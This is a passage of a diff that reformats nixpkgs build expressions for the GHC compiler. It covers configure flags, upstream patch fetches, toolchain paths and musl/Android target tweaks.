+      "--bignum=${if enableNativeBignum then "native" else "gmp"}"
+      "--docs=${if enableDocs then "no-sphinx-pdfs" else "no-sphinx"}"
+    ]
+    ++ lib.optionals (lib.versionAtLeast version "9.8") [
+      # In 9.14 this will be default with release flavour.
+      # See https://gitlab.haskell.org/ghc/ghc/-/merge_requests/13444
+      "--hash-unit-ids"
+    ];
 
     buildPhase = ''
       runHook preBuild
@@ -769,63 +767,61 @@ stdenv.mkDerivation (
     # https://gitlab.haskell.org/ghc/ghc/-/issues/22058
     # TODO(@sternenseemann): it would be nice if the bindist could be an intermediate
     # derivation, but since it is > 2GB even on x86_64-linux, not a good idea?
-    preInstall =
-      ''
-        pushd _build/bindist/*
+    preInstall = ''
+      pushd _build/bindist/*
 
-      ''
-      # the bindist configure script uses different env variables than the GHC configure script
-      # see https://github.com/NixOS/nixpkgs/issues/267250 and https://gitlab.haskell.org/ghc/ghc/-/issues/24211
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        export InstallNameToolCmd=$INSTALL_NAME_TOOL
-        export OtoolCmd=$OTOOL
-      ''
-      + ''
-        $configureScript $configureFlags "''${configureFlagsArray[@]}"
-      '';
+    ''
+    # the bindist configure script uses different env variables than the GHC configure script
+    # see https://github.com/NixOS/nixpkgs/issues/267250 and https://gitlab.haskell.org/ghc/ghc/-/issues/24211
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      export InstallNameToolCmd=$INSTALL_NAME_TOOL
+      export OtoolCmd=$OTOOL
+    ''
+    + ''
+      $configureScript $configureFlags "''${configureFlagsArray[@]}"
+    '';
 
-    postInstall =
-      ''
-        # leave bindist directory
-        popd
+    postInstall = ''
+      # leave bindist directory
+      popd
 
-        settingsFile="$out/lib/${targetPrefix}${haskellCompilerName}/lib/settings"
+      settingsFile="$out/lib/${targetPrefix}${haskellCompilerName}/lib/settings"
 
-        # Make the installed GHC use the host->target tools.
-        ghc-settings-edit "$settingsFile" \
-          "C compiler command" "${toolPath "cc" installCC}" \
-          "Haskell CPP command" "${toolPath "cc" installCC}" \
-          "C++ compiler command" "${toolPath "c++" installCC}" \
-          "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "ar command" "${toolPath "ar" installCC}" \
-          "ranlib command" "${toolPath "ranlib" installCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        ghc-settings-edit "$settingsFile" \
-          "otool command" "${toolPath "otool" installCC}" \
-          "install_name_tool command" "${toolPath "install_name_tool" installCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
-          "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM clang command" "${
-            # See comment for CLANG in preConfigure
-            if installCC.isClang then
-              toolPath "clang" installCC
-            else
-              "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
-          }"
-      ''
-      + ''
+      # Make the installed GHC use the host->target tools.
+      ghc-settings-edit "$settingsFile" \
+        "C compiler command" "${toolPath "cc" installCC}" \
+        "Haskell CPP command" "${toolPath "cc" installCC}" \
+        "C++ compiler command" "${toolPath "c++" installCC}" \
+        "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "ar command" "${toolPath "ar" installCC}" \
+        "ranlib command" "${toolPath "ranlib" installCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      ghc-settings-edit "$settingsFile" \
+        "otool command" "${toolPath "otool" installCC}" \
+        "install_name_tool command" "${toolPath "install_name_tool" installCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
+        "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM clang command" "${
+          # See comment for CLANG in preConfigure
+          if installCC.isClang then
+            toolPath "clang" installCC
+          else
+            "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
+        }"
+    ''
+    + ''
 
-        # Install the bash completion file.
-        install -Dm 644 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
-      '';
+      # Install the bash completion file.
+      install -Dm 644 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
+    '';
 
     passthru = {
       inherit bootPkgs targetPrefix haskellCompilerName;
diff --git a/pkgs/development/compilers/ghc/common-make-native-bignum.nix b/pkgs/development/compilers/ghc/common-make-native-bignum.nix
index d3573cc3a522..ec506aa7c956 100644
--- a/pkgs/development/compilers/ghc/common-make-native-bignum.nix
+++ b/pkgs/development/compilers/ghc/common-make-native-bignum.nix
@@ -115,54 +115,53 @@ let
   # TODO(@Ericson2314) Make unconditional
   targetPrefix = lib.optionalString (targetPlatform != hostPlatform) "${targetPlatform.config}-";
 
-  buildMK =
-    ''
-      BuildFlavour = ${ghcFlavour}
-      ifneq \"\$(BuildFlavour)\" \"\"
-      include mk/flavours/\$(BuildFlavour).mk
-      endif
-      BUILD_SPHINX_HTML = ${if enableDocs then "YES" else "NO"}
-      BUILD_SPHINX_PDF = NO
+  buildMK = ''
+    BuildFlavour = ${ghcFlavour}
+    ifneq \"\$(BuildFlavour)\" \"\"
+    include mk/flavours/\$(BuildFlavour).mk
+    endif
+    BUILD_SPHINX_HTML = ${if enableDocs then "YES" else "NO"}
+    BUILD_SPHINX_PDF = NO
 
-      WITH_TERMINFO = ${if enableTerminfo then "YES" else "NO"}
+    WITH_TERMINFO = ${if enableTerminfo then "YES" else "NO"}
+  ''
+  +
+    # Note [HADDOCK_DOCS]:
+    # Unfortunately currently `HADDOCK_DOCS` controls both whether the `haddock`
+    # program is built (which we generally always want to have a complete GHC install)
+    # and whether it is run on the GHC sources to generate hyperlinked source code
+    # (which is impossible for cross-compilation); see:
+    # https://gitlab.haskell.org/ghc/ghc/-/issues/20077
+    # This implies that currently a cross-compiled GHC will never have a `haddock`
+    # program, so it can never generate haddocks for any packages.
+    # If this is solved in the future, we'd like to unconditionally
+    # build the haddock program (removing the `enableHaddockProgram` option).
     ''
-    +
-      # Note [HADDOCK_DOCS]:
-      # Unfortunately currently `HADDOCK_DOCS` controls both whether the `haddock`
-      # program is built (which we generally always want to have a complete GHC install)
-      # and whether it is run on the GHC sources to generate hyperlinked source code
-      # (which is impossible for cross-compilation); see:
-      # https://gitlab.haskell.org/ghc/ghc/-/issues/20077
-      # This implies that currently a cross-compiled GHC will never have a `haddock`
-      # program, so it can never generate haddocks for any packages.
-      # If this is solved in the future, we'd like to unconditionally
-      # build the haddock program (removing the `enableHaddockProgram` option).
-      ''
-        HADDOCK_DOCS = ${if enableHaddockProgram then "YES" else "NO"}
-        # Build haddocks for boot packages with hyperlinking
-        EXTRA_HADDOCK_OPTS += --hyperlinked-source --quickjump
+      HADDOCK_DOCS = ${if enableHaddockProgram then "YES" else "NO"}
+      # Build haddocks for boot packages with hyperlinking
+      EXTRA_HADDOCK_OPTS += --hyperlinked-source --quickjump
 
-        DYNAMIC_GHC_PROGRAMS = ${if enableShared then "YES" else "NO"}
-        BIGNUM_BACKEND = ${if enableNativeBignum then "native" else "gmp"}
-      ''
-    + lib.optionalString (targetPlatform != hostPlatform) ''
-      Stage1Only = ${if targetPlatform.system == hostPlatform.system then "NO" else "YES"}
-      CrossCompilePrefix = ${targetPrefix}
+      DYNAMIC_GHC_PROGRAMS = ${if enableShared then "YES" else "NO"}
+      BIGNUM_BACKEND = ${if enableNativeBignum then "native" else "gmp"}
     ''
-    + lib.optionalString (!enableProfiledLibs) ''
-      BUILD_PROF_LIBS = NO
+  + lib.optionalString (targetPlatform != hostPlatform) ''
+    Stage1Only = ${if targetPlatform.system == hostPlatform.system then "NO" else "YES"}
+    CrossCompilePrefix = ${targetPrefix}
+  ''
+  + lib.optionalString (!enableProfiledLibs) ''
+    BUILD_PROF_LIBS = NO
+  ''
+  +
+    # -fexternal-dynamic-refs apparently (because it's not clear from the documentation)
+    # makes the GHC RTS able to load static libraries, which may be needed for TemplateHaskell.
+    # This solution was described in https://www.tweag.io/blog/2020-09-30-bazel-static-haskell
+    lib.optionalString enableRelocatedStaticLibs ''
+      GhcLibHcOpts += -fPIC -fexternal-dynamic-refs
+      GhcRtsHcOpts += -fPIC -fexternal-dynamic-refs
     ''
-    +
-      # -fexternal-dynamic-refs apparently (because it's not clear from the documentation)
-      # makes the GHC RTS able to load static libraries, which may be needed for TemplateHaskell.
-      # This solution was described in https://www.tweag.io/blog/2020-09-30-bazel-static-haskell
-      lib.optionalString enableRelocatedStaticLibs ''
-        GhcLibHcOpts += -fPIC -fexternal-dynamic-refs
-        GhcRtsHcOpts += -fPIC -fexternal-dynamic-refs
-      ''
-    + lib.optionalString targetPlatform.useAndroidPrebuilt ''
-      EXTRA_CC_OPTS += -std=gnu99
-    '';
+  + lib.optionalString targetPlatform.useAndroidPrebuilt ''
+    EXTRA_CC_OPTS += -std=gnu99
+  '';
 
   # Splicer will pull out correct variations
   libDeps =
@@ -176,7 +175,8 @@ let
   # GHC doesn't seem to have {LLC,OPT}_HOST
   toolsForTarget = [
     pkgsBuildTarget.targetPackages.stdenv.cc
-  ] ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
+  ]
+  ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
 
   buildCC = buildPackages.stdenv.cc;
   targetCC = builtins.head toolsForTarget;
@@ -282,126 +282,125 @@ stdenv.mkDerivation (
       "doc"
     ];
 
-    patches =
-      [
-        # Determine size of time related types using hsc2hs instead of assuming CLong.
-        # Prevents failures when e.g. stat(2)ing on 32bit systems with 64bit time_t etc.
-        # https://github.com/haskell/ghcup-hs/issues/1107
-        # https://gitlab.haskell.org/ghc/ghc/-/issues/25095
-        # Note that in normal situations this shouldn't be the case since nixpkgs
-        # doesn't set -D_FILE_OFFSET_BITS=64 and friends (yet).
-        (fetchpatch {
-          name = "unix-fix-ctimeval-size-32-bit.patch";
-          url = "https://github.com/haskell/unix/commit/8183e05b97ce870dd6582a3677cc82459ae566ec.patch";
-          sha256 = "17q5yyigqr5kxlwwzb95sx567ysfxlw6bp3j4ji20lz0947aw6gv";
-          stripLen = 1;
-          extraPrefix = "libraries/unix/";
-        })
-      ]
-      ++ lib.optionals (lib.versionOlder version "9.4") [
-        # fix hyperlinked haddock sources: https://github.com/haskell/haddock/pull/1482
-        (fetchpatch {
-          url = "https://patch-diff.githubusercontent.com/raw/haskell/haddock/pull/1482.patch";
-          sha256 = "sha256-8w8QUCsODaTvknCDGgTfFNZa8ZmvIKaKS+2ZJZ9foYk=";
-          extraPrefix = "utils/haddock/";
-          stripLen = 1;
-        })
-      ]
+    patches = [
+      # Determine size of time related types using hsc2hs instead of assuming CLong.
+      # Prevents failures when e.g. stat(2)ing on 32bit systems with 64bit time_t etc.
+      # https://github.com/haskell/ghcup-hs/issues/1107
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/25095
+      # Note that in normal situations this shouldn't be the case since nixpkgs
+      # doesn't set -D_FILE_OFFSET_BITS=64 and friends (yet).
+      (fetchpatch {
+        name = "unix-fix-ctimeval-size-32-bit.patch";
+        url = "https://github.com/haskell/unix/commit/8183e05b97ce870dd6582a3677cc82459ae566ec.patch";
+        sha256 = "17q5yyigqr5kxlwwzb95sx567ysfxlw6bp3j4ji20lz0947aw6gv";
+        stripLen = 1;
+        extraPrefix = "libraries/unix/";
+      })
+    ]
+    ++ lib.optionals (lib.versionOlder version "9.4") [
+      # fix hyperlinked haddock sources: https://github.com/haskell/haddock/pull/1482
+      (fetchpatch {
+        url = "https://patch-diff.githubusercontent.com/raw/haskell/haddock/pull/1482.patch";
+        sha256 = "sha256-8w8QUCsODaTvknCDGgTfFNZa8ZmvIKaKS+2ZJZ9foYk=";
+        extraPrefix = "utils/haddock/";
+        stripLen = 1;
+      })
+    ]
 
-      ++ lib.optionals (lib.versionOlder version "9.4.6") [
-        # Fix docs build with sphinx >= 6.0
-        # https://gitlab.haskell.org/ghc/ghc/-/issues/22766
-        (fetchpatch {
-          name = "ghc-docs-sphinx-6.0.patch";
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/10e94a556b4f90769b7fd718b9790d58ae566600.patch";
-          sha256 = "0kmhfamr16w8gch0lgln2912r8aryjky1hfcda3jkcwa5cdzgjdv";
-        })
-      ]
+    ++ lib.optionals (lib.versionOlder version "9.4.6") [
+      # Fix docs build with sphinx >= 6.0
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/22766
+      (fetchpatch {
+        name = "ghc-docs-sphinx-6.0.patch";
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/10e94a556b4f90769b7fd718b9790d58ae566600.patch";
+        sha256 = "0kmhfamr16w8gch0lgln2912r8aryjky1hfcda3jkcwa5cdzgjdv";
+      })
+    ]
 
-      ++ [
-        # Fix docs build with Sphinx >= 7 https://gitlab.haskell.org/ghc/ghc/-/issues/24129
-        ./docs-sphinx-7.patch
-      ]
+    ++ [
+      # Fix docs build with Sphinx >= 7 https://gitlab.haskell.org/ghc/ghc/-/issues/24129
+      ./docs-sphinx-7.patch
+    ]
 
-      ++ lib.optionals (lib.versionOlder version "9.2.2") [
-        # Add flag that fixes C++ exception handling; opt-in. Merged in 9.4 and 9.2.2.
-        # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/7423
-        (fetchpatch {
-          name = "ghc-9.0.2-fcompact-unwind.patch";
-          # Note that the test suite is not packaged.
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/c6132c782d974a7701e7f6447bdcd2bf6db4299a.patch?merge_request_iid=7423";
-          sha256 = "sha256-b4feGZIaKDj/UKjWTNY6/jH4s2iate0wAgMxG3rAbZI=";
-        })
-      ]
+    ++ lib.optionals (lib.versionOlder version "9.2.2") [
+      # Add flag that fixes C++ exception handling; opt-in. Merged in 9.4 and 9.2.2.
+      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/7423
+      (fetchpatch {
+        name = "ghc-9.0.2-fcompact-unwind.patch";
+        # Note that the test suite is not packaged.
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/c6132c782d974a7701e7f6447bdcd2bf6db4299a.patch?merge_request_iid=7423";
+        sha256 = "sha256-b4feGZIaKDj/UKjWTNY6/jH4s2iate0wAgMxG3rAbZI=";
+      })
+    ]
 
-      ++ lib.optionals (lib.versionAtLeast version "9.2") [
-        # Don't generate code that doesn't compile when --enable-relocatable is passed to Setup.hs
-        # Can be removed if the Cabal library included with ghc backports the linked fix
-        (fetchpatch {
-          url = "https://github.com/haskell/cabal/commit/6c796218c92f93c95e94d5ec2d077f6956f68e98.patch";
-          stripLen = 1;
-          extraPrefix = "libraries/Cabal/";
-          sha256 = "sha256-yRQ6YmMiwBwiYseC5BsrEtDgFbWvst+maGgDtdD0vAY=";
-        })
-      ]
+    ++ lib.optionals (lib.versionAtLeast version "9.2") [
+      # Don't generate code that doesn't compile when --enable-relocatable is passed to Setup.hs
+      # Can be removed if the Cabal library included with ghc backports the linked fix
+      (fetchpatch {
+        url = "https://github.com/haskell/cabal/commit/6c796218c92f93c95e94d5ec2d077f6956f68e98.patch";
+        stripLen = 1;
+        extraPrefix = "libraries/Cabal/";
+        sha256 = "sha256-yRQ6YmMiwBwiYseC5BsrEtDgFbWvst+maGgDtdD0vAY=";
+      })
+    ]
 
-      ++ lib.optionals (version == "9.4.6") [
-        # Work around a type not being defined when including Rts.h in bytestring's cbits
-        # due to missing feature macros. See https://gitlab.haskell.org/ghc/ghc/-/issues/23810.
-        ./9.4.6-bytestring-posix-source.patch
-      ]
+    ++ lib.optionals (version == "9.4.6") [
+      # Work around a type not being defined when including Rts.h in bytestring's cbits
+      # due to missing feature macros. See https://gitlab.haskell.org/ghc/ghc/-/issues/23810.
+      ./9.4.6-bytestring-posix-source.patch
+    ]
 
-      ++ lib.optionals (stdenv.targetPlatform.isDarwin && stdenv.targetPlatform.isAarch64) [
-        # Prevent the paths module from emitting symbols that we don't use
-        # when building with separate outputs.
-        #
-        # These cause problems as they're not eliminated by GHC's dead code
-        # elimination on aarch64-darwin. (see
-        # https://github.com/NixOS/nixpkgs/issues/140774 for details).
-        (
-          if lib.versionAtLeast version "9.2" then
-            ./Cabal-at-least-3.6-paths-fix-cycle-aarch64-darwin.patch
-          else
-            ./Cabal-3.2-3.4-paths-fix-cycle-aarch64-darwin.patch
-        )
-      ]
-      # Before GHC 9.6, GHC, when used to compile C sources (i.e. to drive the CC), would first
-      # invoke the C compiler to generate assembly and later call the assembler on the result of
-      # that operation. Unfortunately, that is brittle in a lot of cases, e.g. when using mismatched
-      # CC / assembler (https://gitlab.haskell.org/ghc/ghc/-/merge_requests/12005). This issue
-      # does not affect us. However, LLVM 18 introduced a check in clang that makes sure no
-      # non private labels occur between .cfi_startproc and .cfi_endproc which causes the
-      # assembly that the same version (!) of clang generates from rts/StgCRun.c to be rejected.
-      # This causes GHC to fail compilation on mach-o platforms ever since we upgraded to
-      # LLVM 19.
+    ++ lib.optionals (stdenv.targetPlatform.isDarwin && stdenv.targetPlatform.isAarch64) [
+      # Prevent the paths module from emitting symbols that we don't use
+      # when building with separate outputs.
       #
-      # clang compiles the same file without issues whithout the roundtrip via assembly. Thus,
-      # the solution is to backport those changes from GHC 9.6 that skip the intermediate
-      # assembly step.
-      #
-      # https://gitlab.haskell.org/ghc/ghc/-/issues/25608#note_622589
-      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6877
-      ++ (
-        if lib.versionAtLeast version "9.4" then
-          [
-            # Need to use this patch so the next one applies, passes file location info to the cc phase
-            (fetchpatch {
-              name = "ghc-add-location-to-cc-phase.patch";
-              url = "https://gitlab.haskell.org/ghc/ghc/-/commit/4a7256a75af2fc0318bef771a06949ffb3939d5a.patch";
-              hash = "sha256-DnTI+i1zMebeWvw75D59vMaEEBb2Nr9HusxTyhmdy2M=";
-            })
-            # Makes Cc phase directly generate object files instead of assembly
-            (fetchpatch {
-              name = "ghc-cc-directly-emit-object.patch";
-              url = "https://gitlab.haskell.org/ghc/ghc/-/commit/96811ba491495b601ec7d6a32bef8563b0292109.patch";
-              hash = "sha256-G8u7/MK/tGOEN8Wxccxj/YIOP7mL2G9Co1WKdHXOo6I=";
-            })
-          ]
+      # These cause problems as they're not eliminated by GHC's dead code
+      # elimination on aarch64-darwin. (see
+      # https://github.com/NixOS/nixpkgs/issues/140774 for details).
+      (
+        if lib.versionAtLeast version "9.2" then
+          ./Cabal-at-least-3.6-paths-fix-cycle-aarch64-darwin.patch
         else
-          [
-            # TODO(@sternenseemann): backport changes to GHC < 9.4 if possible
-          ]
-      );
+          ./Cabal-3.2-3.4-paths-fix-cycle-aarch64-darwin.patch
+      )
+    ]
+    # Before GHC 9.6, GHC, when used to compile C sources (i.e. to drive the CC), would first
+    # invoke the C compiler to generate assembly and later call the assembler on the result of
+    # that operation. Unfortunately, that is brittle in a lot of cases, e.g. when using mismatched
+    # CC / assembler (https://gitlab.haskell.org/ghc/ghc/-/merge_requests/12005). This issue
+    # does not affect us. However, LLVM 18 introduced a check in clang that makes sure no
+    # non private labels occur between .cfi_startproc and .cfi_endproc which causes the
+    # assembly that the same version (!) of clang generates from rts/StgCRun.c to be rejected.
+    # This causes GHC to fail compilation on mach-o platforms ever since we upgraded to
+    # LLVM 19.
+    #
+    # clang compiles the same file without issues whithout the roundtrip via assembly. Thus,
+    # the solution is to backport those changes from GHC 9.6 that skip the intermediate
+    # assembly step.
+    #
+    # https://gitlab.haskell.org/ghc/ghc/-/issues/25608#note_622589
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6877
+    ++ (
+      if lib.versionAtLeast version "9.4" then
+        [
+          # Need to use this patch so the next one applies, passes file location info to the cc phase
+          (fetchpatch {
+            name = "ghc-add-location-to-cc-phase.patch";
+            url = "https://gitlab.haskell.org/ghc/ghc/-/commit/4a7256a75af2fc0318bef771a06949ffb3939d5a.patch";
+            hash = "sha256-DnTI+i1zMebeWvw75D59vMaEEBb2Nr9HusxTyhmdy2M=";
+          })
+          # Makes Cc phase directly generate object files instead of assembly
+          (fetchpatch {
+            name = "ghc-cc-directly-emit-object.patch";
+            url = "https://gitlab.haskell.org/ghc/ghc/-/commit/96811ba491495b601ec7d6a32bef8563b0292109.patch";
+            hash = "sha256-G8u7/MK/tGOEN8Wxccxj/YIOP7mL2G9Co1WKdHXOo6I=";
+          })
+        ]
+      else
+        [
+          # TODO(@sternenseemann): backport changes to GHC < 9.4 if possible
+        ]
+    );
 
     postPatch = "patchShebangs .";
 
@@ -410,102 +409,101 @@ stdenv.mkDerivation (
 
     # GHC is a bit confused on its cross terminology.
     # TODO(@sternenseemann): investigate coreutils dependencies and pass absolute paths
-    preConfigure =
-      ''
-        for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
-          export "''${env#TARGET_}=''${!env}"
-        done
-        # Stage0 (build->build) which builds stage 1
-        export GHC="${bootPkgs.ghc}/bin/ghc"
-        # GHC is a bit confused on its cross terminology, as these would normally be
-        # the *host* tools.
-        export CC="${toolPath "cc" targetCC}"
-        export CXX="${toolPath "c++" targetCC}"
-        # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
-        export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
-        export AS="${toolPath "as" targetCC}"
-        export AR="${toolPath "ar" targetCC}"
-        export NM="${toolPath "nm" targetCC}"
-        export RANLIB="${toolPath "ranlib" targetCC}"
-        export READELF="${toolPath "readelf" targetCC}"
-        export STRIP="${toolPath "strip" targetCC}"
-        export OBJDUMP="${toolPath "objdump" targetCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        export OTOOL="${toolPath "otool" targetCC}"
-        export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
-        export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
-        # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
-        # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
-        # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
-        # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
-        # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
-        # for llc and opt which would require using a custom darwin stdenv for targetCC.
-        export CLANG="${
-          if targetCC.isClang then
-            toolPath "clang" targetCC
-          else
-            "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
-        }"
-      ''
-      + ''
-        # No need for absolute paths since these tools only need to work during the build
-        export CC_STAGE0="$CC_FOR_BUILD"
-        export LD_STAGE0="$LD_FOR_BUILD"
-        export AR_STAGE0="$AR_FOR_BUILD"
+    preConfigure = ''
+      for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
+        export "''${env#TARGET_}=''${!env}"
+      done
+      # Stage0 (build->build) which builds stage 1
+      export GHC="${bootPkgs.ghc}/bin/ghc"
+      # GHC is a bit confused on its cross terminology, as these would normally be
+      # the *host* tools.
+      export CC="${toolPath "cc" targetCC}"
+      export CXX="${toolPath "c++" targetCC}"
+      # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
+      export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
+      export AS="${toolPath "as" targetCC}"
+      export AR="${toolPath "ar" targetCC}"
+      export NM="${toolPath "nm" targetCC}"
+      export RANLIB="${toolPath "ranlib" targetCC}"
+      export READELF="${toolPath "readelf" targetCC}"
+      export STRIP="${toolPath "strip" targetCC}"
+      export OBJDUMP="${toolPath "objdump" targetCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      export OTOOL="${toolPath "otool" targetCC}"
+      export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
+      export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
+      # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
+      # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
+      # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
+      # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
+      # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
+      # for llc and opt which would require using a custom darwin stdenv for targetCC.
+      export CLANG="${
+        if targetCC.isClang then
+          toolPath "clang" targetCC
+        else
+          "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
+      }"
+    ''
+    + ''
+      # No need for absolute paths since these tools only need to work during the build
+      export CC_STAGE0="$CC_FOR_BUILD"
+      export LD_STAGE0="$LD_FOR_BUILD"
+      export AR_STAGE0="$AR_FOR_BUILD"
 
-        echo -n "${buildMK}" > mk/build.mk
-      ''
-      + lib.optionalString (lib.versionOlder version "9.2" || lib.versionAtLeast version "9.4") ''
-        sed -i -e 's|-isysroot /Developer/SDKs/MacOSX10.5.sdk||' configure
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isLinux && hostPlatform.libc == "glibc") ''
-        export LOCALE_ARCHIVE="${glibcLocales}/lib/locale/locale-archive"
-      ''
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        export NIX_LDFLAGS+=" -no_dtrace_dof"
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isDarwin && lib.versionAtLeast version "9.2") ''
+      echo -n "${buildMK}" > mk/build.mk
+    ''
+    + lib.optionalString (lib.versionOlder version "9.2" || lib.versionAtLeast version "9.4") ''
+      sed -i -e 's|-isysroot /Developer/SDKs/MacOSX10.5.sdk||' configure
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isLinux && hostPlatform.libc == "glibc") ''
+      export LOCALE_ARCHIVE="${glibcLocales}/lib/locale/locale-archive"
+    ''
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export NIX_LDFLAGS+=" -no_dtrace_dof"
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isDarwin && lib.versionAtLeast version "9.2") ''
 
-        # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
-        export XATTR=${lib.getBin xattr}/bin/xattr
-      ''
-      + lib.optionalString targetPlatform.useAndroidPrebuilt ''
-        sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
-      ''
-      + lib.optionalString targetPlatform.isMusl ''
-        echo "patching llvm-targets for musl targets..."
-        echo "Cloning these existing '*-linux-gnu*' targets:"
-        grep linux-gnu llvm-targets | sed 's/^/  /'
-        echo "(go go gadget sed)"
-        sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
-        echo "llvm-targets now contains these '*-linux-musl*' targets:"
-        grep linux-musl llvm-targets | sed 's/^/  /'
+      # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
+      export XATTR=${lib.getBin xattr}/bin/xattr
+    ''
+    + lib.optionalString targetPlatform.useAndroidPrebuilt ''
+      sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
+    ''
+    + lib.optionalString targetPlatform.isMusl ''
+      echo "patching llvm-targets for musl targets..."
+      echo "Cloning these existing '*-linux-gnu*' targets:"
+      grep linux-gnu llvm-targets | sed 's/^/  /'
+      echo "(go go gadget sed)"
+      sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
+      echo "llvm-targets now contains these '*-linux-musl*' targets:"
+      grep linux-musl llvm-targets | sed 's/^/  /'
 
-        echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
-        # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
-        for x in configure aclocal.m4; do
-          substituteInPlace $x \
-            --replace '*-android*|*-gnueabi*)' \
-                      '*-android*|*-gnueabi*|*-musleabi*)'
-        done
-      ''
-      # HACK: allow bootstrapping with GHC 8.10 which works fine, as we don't have
-      # binary 9.0 packaged. Bootstrapping with 9.2 is broken without hadrian.
